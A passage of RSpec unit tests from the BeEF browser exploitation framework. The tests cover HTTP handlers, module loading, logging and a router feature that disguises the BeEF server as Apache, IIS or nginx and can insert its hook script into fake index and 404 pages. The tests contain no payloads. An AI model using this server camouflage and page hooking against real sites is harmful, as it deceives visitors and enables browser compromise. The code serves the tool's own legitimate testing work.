Curl::Easy.http_get("http://127.0.0.1:#{@port}/test?bh=0&sid=0&pid=0&pc=0&d=0") expect(response.response_code).to eql(200) expect(response.body_str).to be_empty end it 'one values' do response = Curl::Easy.http_get("http://127.0.0.1:#{@port}/test?bh=1&sid=1&pid=1&pc=1&d=1") expect(response.response_code).to eql(200) expect(response.body_str).to be_empty end it 'negative one values' do response = Curl::Easy.http_get("http://127.0.0.1:#{@port}/test?bh=-1&sid=-1&pid=-1&pc=-1&d=-1") expect(response.response_code).to eql(200) expect(response.body_str).to be_empty end # Fails gracefully it 'ascii values' do response = Curl::Easy.http_get("http://127.0.0.1:#{@port}/test?bh=z&sid=z&pid=z&pc=z&d=z") expect(response.response_code).to eql(200) expect(response.body_str).to be_empty end # Fails gracefully it 'array values' do response = Curl::Easy.http_get("http://127.0.0.1:#{@port}/test?bh[]=1&sid[]=1&pid[]=1&pc[]=1&d[]=1") expect(response.response_code).to eql(200) expect(response.body_str).to be_empty end end end ================================================ FILE: spec/beef/core/main/network_stack/handlers/raw_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Core::NetworkStack::Handlers::Raw do describe '#initialize' do it 'initializes with status, header, and body' do handler = described_class.new('200', { 'Content-Type' => 'text/html' }, '') expect(handler.instance_variable_get(:@status)).to eq('200') expect(handler.instance_variable_get(:@header)).to eq({ 'Content-Type' => 'text/html' }) expect(handler.instance_variable_get(:@body)).to eq('') end it 'initializes with default empty header and nil body' do handler = described_class.new('404') expect(handler.instance_variable_get(:@status)).to eq('404') expect(handler.instance_variable_get(:@header)).to eq({}) expect(handler.instance_variable_get(:@body)).to be_nil end end describe '#call' do it 'returns Rack::Response with correct status, header, and body' do handler = described_class.new('200', { 'Content-Type' => 'text/html' }, '') response = handler.call({}) expect(response).to be_a(Rack::Response) expect(response.status).to eq(200) expect(response.headers['Content-Type']).to eq('text/html') expect(response.body).to eq(['']) end it 'handles different status codes' do handler = described_class.new('404', {}, 'Not Found') response = handler.call({}) expect(response.status).to eq(404) expect(response.body).to eq(['Not Found']) end it 'handles nil body' do handler = described_class.new('204', {}) response = handler.call({}) expect(response.status).to eq(204) expect(response.body).to eq([]) end end end ================================================ FILE: spec/beef/core/main/network_stack/handlers/redirector_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe 'BeEF Redirector' do before(:all) do @__ar_config_snapshot = SpecActiveRecordConnection.snapshot @port = 2002 config = {} config[:BindAddress] = '127.0.0.1' config[:Port] = @port.to_s @mounts = {} @mounts['/test'] = BeEF::Core::NetworkStack::Handlers::Redirector.new('http://www.beefproject.com') @rackApp = Rack::URLMap.new(@mounts) Thin::Logging.silent = true @server = Thin::Server.new('127.0.0.1', @port.to_s, @rackApp) trap("INT") { @server.stop } trap("TERM") { @server.stop } # ***** IMPORTANT: close any and all AR/OTR connections before forking ***** disconnect_all_active_record! @pid = fork do @server.start! end # wait for server to start sleep 0.8 end after(:all) do Process.kill("INT",@pid) SpecActiveRecordConnection.restore!(@__ar_config_snapshot) end it 'redirects' do response = Curl::Easy.http_get("http://127.0.0.1:#{@port}/test/") expect(response.response_code).to eql(302) expect(response.body_str).to eql("302 found") expect(response.header_str).to match(/^location:\s*http:\/\/www\.beefproject\.com\r?$/i) end end ================================================ FILE: spec/beef/core/main/router/router_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Core::Router::Router do let(:config) { BeEF::Core::Configuration.instance } # Create a test instance that we can call private methods on let(:router_instance) do instance = described_class.allocate instance.instance_variable_set(:@config, config) instance end describe '#response_headers' do it 'returns default headers when web server imitation is disabled' do allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(false) headers = router_instance.send(:response_headers) expect(headers['Server']).to eq('') expect(headers['Content-Type']).to eq('text/html') end it 'returns Apache headers when type is apache' do allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true) allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('apache') headers = router_instance.send(:response_headers) expect(headers['Server']).to eq('Apache/2.2.3 (CentOS)') expect(headers['Content-Type']).to eq('text/html; charset=UTF-8') end it 'returns IIS headers when type is iis' do allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true) allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('iis') headers = router_instance.send(:response_headers) expect(headers['Server']).to eq('Microsoft-IIS/6.0') expect(headers['X-Powered-By']).to eq('ASP.NET') expect(headers['Content-Type']).to eq('text/html; charset=UTF-8') end it 'returns nginx headers when type is nginx' do allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true) allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('nginx') headers = router_instance.send(:response_headers) expect(headers['Server']).to eq('nginx') expect(headers['Content-Type']).to eq('text/html') end it 'returns default headers for invalid type' do allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true) allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('invalid') headers = router_instance.send(:response_headers) expect(headers['Server']).to eq('') expect(headers['Content-Type']).to eq('text/html') end end describe '#index_page' do it 'returns empty string when web server imitation is disabled' do allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(false) result = router_instance.send(:index_page) expect(result).to eq('') end it 'returns Apache index page when enabled and type is apache' do allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true) allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('apache') allow(config).to receive(:get).with('beef.extension.admin_ui.base_path').and_return('/ui') allow(config).to receive(:get).with('beef.http.web_server_imitation.hook_root').and_return(false) result = router_instance.send(:index_page) expect(result).to include('Apache HTTP Server Test Page') expect(result).to include('powered by CentOS') end it 'returns IIS index page when enabled and type is iis' do allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true) allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('iis') allow(config).to receive(:get).with('beef.extension.admin_ui.base_path').and_return('/ui') allow(config).to receive(:get).with('beef.http.web_server_imitation.hook_root').and_return(false) result = router_instance.send(:index_page) expect(result).to include('Under Construction') end it 'returns nginx index page when enabled and type is nginx' do allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true) allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('nginx') allow(config).to receive(:get).with('beef.http.web_server_imitation.hook_root').and_return(false) # nginx doesn't use base_path, but the method might check it allow(config).to receive(:get).with('beef.extension.admin_ui.base_path').and_return('/ui') result = router_instance.send(:index_page) expect(result).to include('Welcome to nginx!') end it 'includes hook script when hook_root is enabled' do allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true) allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('apache') allow(config).to receive(:get).with('beef.extension.admin_ui.base_path').and_return('/ui') allow(config).to receive(:get).with('beef.http.web_server_imitation.hook_root').and_return(true) allow(config).to receive(:get).with('beef.http.hook_file').and_return('/hook.js') result = router_instance.send(:index_page) expect(result).to include("") end end describe '#error_page_404' do it 'returns simple message when web server imitation is disabled' do allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(false) result = router_instance.send(:error_page_404) expect(result).to eq('Not Found.') end it 'returns Apache 404 page when enabled and type is apache' do allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true) allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('apache') allow(config).to receive(:get).with('beef.http.web_server_imitation.hook_404').and_return(false) result = router_instance.send(:error_page_404) expect(result).to include('404 Not Found') expect(result).to include('Apache/2.2.3 (CentOS)') end it 'returns IIS 404 page when enabled and type is iis' do allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true) allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('iis') allow(config).to receive(:get).with('beef.http.web_server_imitation.hook_404').and_return(false) result = router_instance.send(:error_page_404) expect(result).to include('The page cannot be found') end it 'returns nginx 404 page when enabled and type is nginx' do allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true) allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('nginx') allow(config).to receive(:get).with('beef.http.web_server_imitation.hook_404').and_return(false) result = router_instance.send(:error_page_404) expect(result).to include('404 Not Found') expect(result).to include('nginx') end it 'includes hook script when hook_404 is enabled' do allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true) allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('apache') allow(config).to receive(:get).with('beef.http.web_server_imitation.hook_404').and_return(true) allow(config).to receive(:get).with('beef.http.hook_file').and_return('/hook.js') result = router_instance.send(:error_page_404) expect(result).to include("") end end end ================================================ FILE: spec/beef/core/main/server_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Core::Server do let(:config) { BeEF::Core::Configuration.instance } let(:server) { described_class.instance } before do # Reset singleton instance for each test described_class.instance_variable_set(:@singleton__instance__, nil) end describe '#initialize' do it 'initializes with configuration' do expect(server.configuration).to eq(config) end it 'sets root_dir' do expect(server.root_dir).to be_a(String) expect(server.root_dir).to be_a(Pathname).or(be_a(String)) end it 'initializes empty mounts hash' do expect(server.mounts).to eq({}) end it 'initializes empty command_urls hash' do expect(server.command_urls).to eq({}) end it 'creates a semaphore' do expect(server.semaphore).to be_a(Mutex) end end describe '#to_h' do it 'returns a hash with server information' do result = server.to_h expect(result).to be_a(Hash) expect(result).to have_key('beef_url') expect(result).to have_key('beef_root_dir') expect(result).to have_key('beef_host') expect(result).to have_key('beef_port') end it 'includes hook file path' do # The to_h method calls config.get, so we need to allow it allow(config).to receive(:get).and_call_original allow(config).to receive(:get).with('beef.http.hook_file').and_return('/hook.js') result = server.to_h expect(result['beef_hook']).to eq('/hook.js') end end describe '#mount' do it 'mounts a handler without arguments' do handler_class = Class.new server.mount('/test', handler_class) expect(server.mounts['/test']).to eq(handler_class) end it 'mounts a handler with arguments' do handler_class = Class.new server.mount('/test', handler_class, 'arg1') expect(server.mounts['/test']).to eq([handler_class, 'arg1']) end it 'raises TypeError for non-string URL' do handler_class = Class.new expect { server.mount(123, handler_class) }.to raise_error(TypeError, /"url" needs to be a string/) end it 'overwrites existing mount' do handler1 = Class.new handler2 = Class.new server.mount('/test', handler1) server.mount('/test', handler2) expect(server.mounts['/test']).to eq(handler2) end end describe '#unmount' do it 'removes a mounted handler' do handler_class = Class.new server.mount('/test', handler_class) server.unmount('/test') expect(server.mounts).not_to have_key('/test') end it 'raises TypeError for non-string URL' do expect { server.unmount(123) }.to raise_error(TypeError, /"url" needs to be a string/) end it 'does nothing if URL is not mounted' do expect { server.unmount('/nonexistent') }.not_to raise_error expect(server.mounts).not_to have_key('/nonexistent') end end describe '#remap' do it 'calls remap on rack_app with mounts' do handler_class = Class.new server.mount('/test', handler_class) mock_rack_app = double('Rack::URLMap') server.instance_variable_set(:@rack_app, mock_rack_app) expect(mock_rack_app).to receive(:remap).with(server.mounts) server.remap end end end ================================================ FILE: spec/beef/core/module_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Module do let(:config) { BeEF::Core::Configuration.instance } describe '.is_present' do it 'returns true when module exists in configuration' do allow(config).to receive(:get).with('beef.module').and_return({ 'test_module' => {} }) expect(described_class.is_present('test_module')).to be true end it 'returns false when module does not exist' do allow(config).to receive(:get).with('beef.module').and_return({}) expect(described_class.is_present('nonexistent')).to be false end end describe '.is_enabled' do it 'returns true when module is present and enabled' do allow(config).to receive(:get).with('beef.module').and_return({ 'test_module' => {} }) allow(config).to receive(:get).with('beef.module.test_module.enable').and_return(true) expect(described_class.is_enabled('test_module')).to be true end it 'returns false when module is not present' do allow(config).to receive(:get).with('beef.module').and_return({}) expect(described_class.is_enabled('nonexistent')).to be false end it 'returns false when module is disabled' do allow(config).to receive(:get).with('beef.module').and_return({ 'test_module' => {} }) allow(config).to receive(:get).with('beef.module.test_module.enable').and_return(false) expect(described_class.is_enabled('test_module')).to be false end end describe '.is_loaded' do it 'returns true when module is enabled and loaded' do allow(config).to receive(:get).with('beef.module').and_return({ 'test_module' => {} }) allow(config).to receive(:get).with('beef.module.test_module.enable').and_return(true) allow(config).to receive(:get).with('beef.module.test_module.loaded').and_return(true) expect(described_class.is_loaded('test_module')).to be true end it 'returns false when module is not loaded' do allow(config).to receive(:get).with('beef.module').and_return({ 'test_module' => {} }) allow(config).to receive(:get).with('beef.module.test_module.enable').and_return(true) allow(config).to receive(:get).with('beef.module.test_module.loaded').and_return(false) expect(described_class.is_loaded('test_module')).to be false end end describe '.get_key_by_database_id' do it 'returns module key for matching database id' do modules = { 'module1' => { 'db' => { 'id' => 1 } }, 'module2' => { 'db' => { 'id' => 2 } } } allow(config).to receive(:get).with('beef.module').and_return(modules) expect(described_class.get_key_by_database_id(2)).to eq('module2') end it 'returns nil when no module matches' do allow(config).to receive(:get).with('beef.module').and_return({}) expect(described_class.get_key_by_database_id(999)).to be_nil end end describe '.get_key_by_class' do it 'returns module key for matching class' do modules = { 'module1' => { 'class' => 'TestClass1' }, 'module2' => { 'class' => 'TestClass2' } } allow(config).to receive(:get).with('beef.module').and_return(modules) expect(described_class.get_key_by_class('TestClass2')).to eq('module2') end end describe '.exists?' do it 'returns true when class exists' do test_class = Class.new BeEF::Core::Command.const_set(:Testmodule, test_class) expect(described_class.exists?('testmodule')).to be true BeEF::Core::Command.send(:remove_const, :Testmodule) end it 'returns false when class does not exist' do expect(described_class.exists?('NonexistentClass')).to be false end end describe '.match_target_browser' do it 'returns browser constant for valid browser string' do result = described_class.match_target_browser('FF') expect(result).to eq(BeEF::Core::Constants::Browsers::FF) end it 'returns false for invalid browser string' do expect(described_class.match_target_browser('InvalidBrowser')).to be false end it 'returns false for non-string input' do expect(described_class.match_target_browser(123)).to be false end end describe '.match_target_os' do it 'returns OS constant for valid OS string' do result = described_class.match_target_os('Linux') expect(result).to eq(BeEF::Core::Constants::Os::OS_LINUX_UA_STR) end it 'returns false for invalid OS string' do expect(described_class.match_target_os('InvalidOS')).to be false end it 'returns false for non-string input' do expect(described_class.match_target_os(123)).to be false end end describe '.match_target_browser_spec' do it 'returns hash with max_ver and min_ver' do spec = { 'max_ver' => 10, 'min_ver' => 5 } result = described_class.match_target_browser_spec(spec) expect(result['max_ver']).to eq(10) expect(result['min_ver']).to eq(5) end it 'handles latest as max_ver' do spec = { 'max_ver' => 'latest' } result = described_class.match_target_browser_spec(spec) expect(result['max_ver']).to eq('latest') end it 'returns empty hash for non-hash input' do expect(described_class.match_target_browser_spec('invalid')).to eq({}) end it 'includes OS when specified' do spec = { 'max_ver' => 10, 'os' => 'Linux' } result = described_class.match_target_browser_spec(spec) expect(result['os']).to eq(BeEF::Core::Constants::Os::OS_LINUX_UA_STR) end end describe '.merge_options' do it 'returns nil when module is not present' do allow(config).to receive(:get).with('beef.module').and_return({}) expect(described_class.merge_options('nonexistent', [])).to be_nil end it 'merges default options with custom options' do allow(config).to receive(:get).with('beef.module').and_return({ 'test_module' => {} }) allow(described_class).to receive(:is_present).and_return(true) allow(described_class).to receive(:check_hard_load).and_return(true) allow(described_class).to receive(:get_options).and_return( [ { 'name' => 'option1', 'value' => 'default1' }, { 'name' => 'option2', 'value' => 'default2' } ] ) custom_opts = [{ 'name' => 'option1', 'value' => 'custom1' }] result = described_class.merge_options('test_module', custom_opts) expect(result.length).to eq(2) expect(result.find { |o| o['name'] == 'option1' }['value']).to eq('custom1') expect(result.find { |o| o['name'] == 'option2' }['value']).to eq('default2') end end describe '.check_hard_load' do it 'returns true when module is already loaded' do allow(described_class).to receive(:is_loaded).and_return(true) expect(described_class.check_hard_load('test_module')).to be true end it 'calls hard_load when module is not loaded' do allow(described_class).to receive(:is_loaded).and_return(false) expect(described_class).to receive(:hard_load).with('test_module') described_class.check_hard_load('test_module') end end end ================================================ FILE: spec/beef/core/modules_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe 'BeEF Modules' do it 'loaded successfully' do config = BeEF::Core::Configuration.instance # Force reload modules to ensure fresh state BeEF::Modules.load # Verify modules were loaded all_modules = config.get('beef.module') expect(all_modules).not_to be_nil, 'Modules should be loaded' expect(all_modules).to be_a(Hash), 'Modules should be a hash' expect(all_modules.length).to be > 0, 'At least one module should be loaded' # Find enabled modules with categories modules = all_modules.select do |_k, v| v['enable'] == true && !v['category'].nil? end # Provide helpful error message if no enabled modules found if modules.empty? enabled_count = all_modules.count { |_k, v| v['enable'] == true } with_category = all_modules.count { |_k, v| !v['category'].nil? } raise "No enabled modules with categories found. Total modules: #{all_modules.length}, " \ "Enabled: #{enabled_count}, With category: #{with_category}" end expect(modules.length).to be > 0, 'At least one enabled module with category should exist' modules.each_key do |k| expect(BeEF::Module.is_present(k)).to be(true) expect(BeEF::Module.is_enabled(k)).to be(true) # Skip hard_load if module file doesn't exist (e.g., test modules) mod_path = config.get("beef.module.#{k}.path") mod_file = "#{$root_dir}/#{mod_path}/module.rb" # rubocop:disable Style/GlobalVars if File.exist?(mod_file) expect do BeEF::Module.hard_load(k) end.to_not raise_error expect(BeEF::Module.is_loaded(k)).to be(true) end # Only check target if it exists target = config.get("beef.module.#{k}.target") next unless target.is_a?(Hash) target.each_value do |target_value| expect(target_value).to_not be_empty end end end it 'safe client debug log' do Dir['../../modules/**/*.js'].each do |path| next unless File.file?(path) File.open(path) do |f| f.grep(/\bconsole\.log\W*\(/m) do |line| # rubocop:disable Lint/UnreachableLoop -- false positive raise "Function 'console.log' instead of 'beef.debug' inside\n Path: #{path}\nLine: #{line}" end end end end it 'safe variable decleration' do Dir['../../modules/**/*.js'].each do |path| next unless File.file?(path) File.open(path) do |f| f.grep(/\blet\W+[a-zA-Z0-9_.]+\W*=/) do |line| # rubocop:disable Lint/UnreachableLoop -- false positive raise "Variable declared with 'let' instead of 'var' inside\n Path: #{path}\nLine: #{line}" end end end end end ================================================ FILE: spec/beef/core/ruby/hash_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'spec_helper' RSpec.describe 'Hash#deep_merge' do it 'merges two simple hashes' do hash1 = { a: 1, b: 2 } hash2 = { c: 3, d: 4 } result = hash1.deep_merge(hash2) expect(result).to eq({ a: 1, b: 2, c: 3, d: 4 }) end it 'overwrites duplicate keys with values from calling hash' do hash1 = { a: 1, b: 2 } hash2 = { b: 3, c: 4 } result = hash1.deep_merge(hash2) expect(result[:a]).to eq(1) expect(result[:b]).to eq(3) # hash2 value overwrites expect(result[:c]).to eq(4) end it 'recursively merges nested hashes' do hash1 = { a: { b: 1, c: 2 }, d: 3 } hash2 = { a: { c: 4, e: 5 }, f: 6 } result = hash1.deep_merge(hash2) expect(result[:a][:b]).to eq(1) expect(result[:a][:c]).to eq(4) # hash2 value overwrites expect(result[:a][:e]).to eq(5) expect(result[:d]).to eq(3) expect(result[:f]).to eq(6) end it 'handles deeply nested hashes' do hash1 = { a: { b: { c: 1 } } } hash2 = { a: { b: { d: 2 } } } result = hash1.deep_merge(hash2) expect(result[:a][:b][:c]).to eq(1) expect(result[:a][:b][:d]).to eq(2) end it 'does not modify the original hash' do hash1 = { a: 1 } hash2 = { b: 2 } original_hash1 = hash1.dup hash1.deep_merge(hash2) expect(hash1).to eq(original_hash1) end it 'handles empty hashes' do hash1 = {} hash2 = { a: 1 } result = hash1.deep_merge(hash2) expect(result).to eq({ a: 1 }) end it 'handles merging with empty hash' do hash1 = { a: 1 } hash2 = {} result = hash1.deep_merge(hash2) expect(result).to eq({ a: 1 }) end it 'handles non-hash values in nested structure' do hash1 = { a: { b: 1 } } hash2 = { a: 2 } # a is not a hash in hash2 result = hash1.deep_merge(hash2) expect(result[:a]).to eq(2) # Should overwrite with non-hash value end it 'handles nil values in source hash' do hash1 = { a: nil, b: 1 } hash2 = { a: 2, c: 3 } result = hash1.deep_merge(hash2) expect(result[:a]).to eq(2) # Should overwrite nil expect(result[:b]).to eq(1) expect(result[:c]).to eq(3) end it 'handles nil values when merging nested hashes' do hash1 = { a: nil } hash2 = { a: { b: 1 } } result = hash1.deep_merge(hash2) expect(result[:a]).to eq({ b: 1 }) # Should overwrite nil with hash end end ================================================ FILE: spec/beef/core/ruby/module_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'spec_helper' RSpec.describe 'Module extensions' do # Create a test module to use in tests let(:test_module) do Module.new do def test_method 'test' end end end describe '#included_in_classes' do it 'returns an array' do result = test_module.included_in_classes expect(result).to be_an(Array) end it 'finds classes that include the module' do mod = test_module test_class = Class.new do include mod end # Force class to be created test_class.new included_classes = mod.included_in_classes expect(included_classes.map(&:to_s)).to include(test_class.to_s) end it 'returns unique classes only' do mod = test_module test_class = Class.new do include mod end # Force class to be created multiple times test_class.new test_class.new included_classes = mod.included_in_classes unique_class_names = included_classes.map(&:to_s) expect(unique_class_names.count(test_class.to_s)).to eq(1) end it 'returns empty array when module is not included anywhere' do isolated_module = Module.new result = isolated_module.included_in_classes expect(result).to be_an(Array) # May or may not be empty depending on what's loaded, but should be an array end end describe '#included_in_modules' do it 'returns an array' do result = test_module.included_in_modules expect(result).to be_an(Array) end it 'finds modules that include the module' do mod = test_module including_module = Module.new do include mod end # Force module to be created Class.new { include including_module } included_modules = mod.included_in_modules expect(included_modules.map(&:to_s)).to include(including_module.to_s) end it 'returns unique modules only' do mod = test_module including_module = Module.new do include mod end # Force module to be created multiple times Class.new { include including_module } Class.new { include including_module } included_modules = mod.included_in_modules unique_module_names = included_modules.map(&:to_s) expect(unique_module_names.count(including_module.to_s)).to eq(1) end end end ================================================ FILE: spec/beef/core/ruby/print_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'spec_helper' RSpec.describe 'Print functions' do let(:logger) { BeEF.logger } let(:test_message) { 'test message' } before(:each) do # Mock stdout to avoid cluttering test output allow($stdout).to receive(:puts) allow($stdout).to receive(:print) # Mock logger methods allow(logger).to receive(:error) allow(logger).to receive(:info) allow(logger).to receive(:warn) allow(logger).to receive(:debug) end describe '#print_error' do it 'calls logger.error with the message' do expect(logger).to receive(:error).with(test_message) print_error(test_message) end it 'outputs to stdout with timestamp and error prefix' do expect($stdout).to receive(:puts).with(match(/\[!\] #{test_message}/)) print_error(test_message) end it 'converts non-string arguments to string' do expect(logger).to receive(:error).with('123') print_error(123) end end describe '#print_info' do it 'calls logger.info with the message' do expect(logger).to receive(:info).with(test_message) print_info(test_message) end it 'outputs to stdout with timestamp and info prefix' do expect($stdout).to receive(:puts).with(match(/\[\*\] #{test_message}/)) print_info(test_message) end end describe '#print_status' do it 'calls print_info' do expect(logger).to receive(:info).with(test_message) print_status(test_message) end end describe '#print_warning' do it 'calls logger.warn with the message' do expect(logger).to receive(:warn).with(test_message) print_warning(test_message) end it 'outputs to stdout with timestamp and warning prefix' do expect($stdout).to receive(:puts).with(match(/\[!\] #{test_message}/)) print_warning(test_message) end end describe '#print_debug' do let(:config) { BeEF::Core::Configuration.instance } context 'when debug is enabled' do before do allow(config).to receive(:get).with('beef.debug').and_return(true) allow(BeEF::Core::Console::CommandLine).to receive(:parse).and_return({}) end it 'calls logger.debug with the message' do expect(logger).to receive(:debug).with(test_message) print_debug(test_message) end it 'outputs to stdout with timestamp and debug prefix' do expect($stdout).to receive(:puts).with(match(/\[>\] #{test_message}/)) print_debug(test_message) end end context 'when verbose flag is set' do before do allow(config).to receive(:get).with('beef.debug').and_return(false) allow(BeEF::Core::Console::CommandLine).to receive(:parse).and_return({ verbose: true }) end it 'calls logger.debug with the message' do expect(logger).to receive(:debug).with(test_message) print_debug(test_message) end end context 'when debug is disabled and verbose is not set' do before do allow(config).to receive(:get).with('beef.debug').and_return(false) allow(BeEF::Core::Console::CommandLine).to receive(:parse).and_return({}) end it 'does not call logger.debug' do expect(logger).not_to receive(:debug) print_debug(test_message) end it 'does not output to stdout' do expect($stdout).not_to receive(:puts) print_debug(test_message) end end end describe '#print_success' do it 'calls logger.info with the message' do expect(logger).to receive(:info).with(test_message) print_success(test_message) end it 'outputs to stdout with timestamp and success prefix' do expect($stdout).to receive(:puts).with(match(/\[\+\] #{test_message}/)) print_success(test_message) end end describe '#print_good' do it 'calls print_success' do expect(logger).to receive(:info).with(test_message) print_good(test_message) end end describe '#print_more' do context 'with string input' do it 'splits string by newlines and formats each line' do multi_line = "line1\nline2\nline3" expect($stdout).to receive(:puts).with(match(/line1/)) expect($stdout).to receive(:puts).with(match(/line2/)) expect($stdout).to receive(:puts).with(match(/\|_ line3/)) # Last line has "|_" expect(logger).to receive(:info).exactly(3).times print_more(multi_line) end it 'formats last line with |_ prefix' do single_line = 'single line' expect($stdout).to receive(:puts).with(match(/\|_ single line/)) expect(logger).to receive(:info).with(match(/\|_ single line/)) print_more(single_line) end end context 'with array input' do it 'formats each array element as a line' do lines_array = %w[line1 line2 line3] expect($stdout).to receive(:puts).exactly(3).times expect(logger).to receive(:info).exactly(3).times print_more(lines_array) end it 'formats last array element with |_ prefix' do lines_array = %w[line1 line2] expect($stdout).to receive(:puts).with(match(/\| line1/)) expect($stdout).to receive(:puts).with(match(/\|_ line2/)) print_more(lines_array) end end end describe '#print_over' do it 'calls logger.info with the message' do expect(logger).to receive(:info).with(test_message) print_over(test_message) end it 'outputs formatted message to stdout' do # print is a private Kernel method, hard to stub directly # We verify the function executes and calls logger # The actual output includes ANSI color codes and carriage return expect { print_over(test_message) }.not_to raise_error expect(logger).to have_received(:info).with(test_message) end end end ================================================ FILE: spec/beef/core/ruby/security_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'spec_helper' RSpec.describe 'Security method overrides' do it 'overrides exec method' do # The exec method should be overridden to prevent usage # We can't easily test the exit behavior without forking # so we just check that the method is overridden expect(method(:exec).source_location).not_to be_nil expect(method(:exec).source_location[0]).to include('core/ruby/security.rb') end it 'overrides system method' do # The system method should be overridden expect(method(:system).source_location).not_to be_nil expect(method(:system).source_location[0]).to include('core/ruby/security.rb') end it 'overrides Kernel.system method' do # Kernel.system should be overridden expect(Kernel.method(:system).source_location).not_to be_nil expect(Kernel.method(:system).source_location[0]).to include('core/ruby/security.rb') end end ================================================ FILE: spec/beef/core/ruby/string_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'spec_helper' RSpec.describe 'String colorization' do it 'includes Term::ANSIColor module' do expect(String.included_modules).to include(Term::ANSIColor) end it 'can use color methods on strings' do string = 'test' expect(string.respond_to?(:red)).to be(true) expect(string.respond_to?(:green)).to be(true) expect(string.respond_to?(:blue)).to be(true) end it 'applies color methods correctly' do string = 'hello' colored = string.red expect(colored).to be_a(String) expect(colored).not_to eq(string) # should now be: "\e[31mhello\e[0m" (red colored hello) end end ================================================ FILE: spec/beef/core/settings_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'spec_helper' RSpec.describe 'BeEF::Settings' do describe '.extension_exists?' do it 'returns true for existing extensions and false for non-existing ones' do # Test with a known extension if available expect(BeEF::Settings.extension_exists?('AdminUI')).to be(true) if BeEF::Extension.const_defined?('AdminUI') expect(BeEF::Settings.extension_exists?('NonExistentExtension')).to be(false) end it 'raises errors for invalid inputs' do expect { BeEF::Settings.extension_exists?(nil) }.to raise_error(TypeError) expect { BeEF::Settings.extension_exists?('') }.to raise_error(NameError) end end describe '.console?' do it 'delegates to extension_exists? with Console' do allow(BeEF::Settings).to receive(:extension_exists?).with('Console').and_return(true) expect(BeEF::Settings.console?).to be(true) allow(BeEF::Settings).to receive(:extension_exists?).with('Console').and_return(false) expect(BeEF::Settings.console?).to be(false) end end end ================================================ FILE: spec/beef/extensions/adminui_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'extensions/admin_ui/classes/httpcontroller' require 'extensions/admin_ui/classes/session' require 'extensions/admin_ui/controllers/authentication/authentication' RSpec.describe 'BeEF Extension AdminUI' do before(:all) do @session = BeEF::Extension::AdminUI::Session.instance @config = BeEF::Core::Configuration.instance end after(:all) do @config.set('beef.restrictions.permitted_ui_subnet',["0.0.0.0/0", "::/0"]) end it 'loads configuration' do expect(@config.get('beef.restrictions')).to have_key('permitted_ui_subnet') end it 'confirms that any ip address is permitted to view the admin ui' do ui = BeEF::Extension::AdminUI::HttpController.new 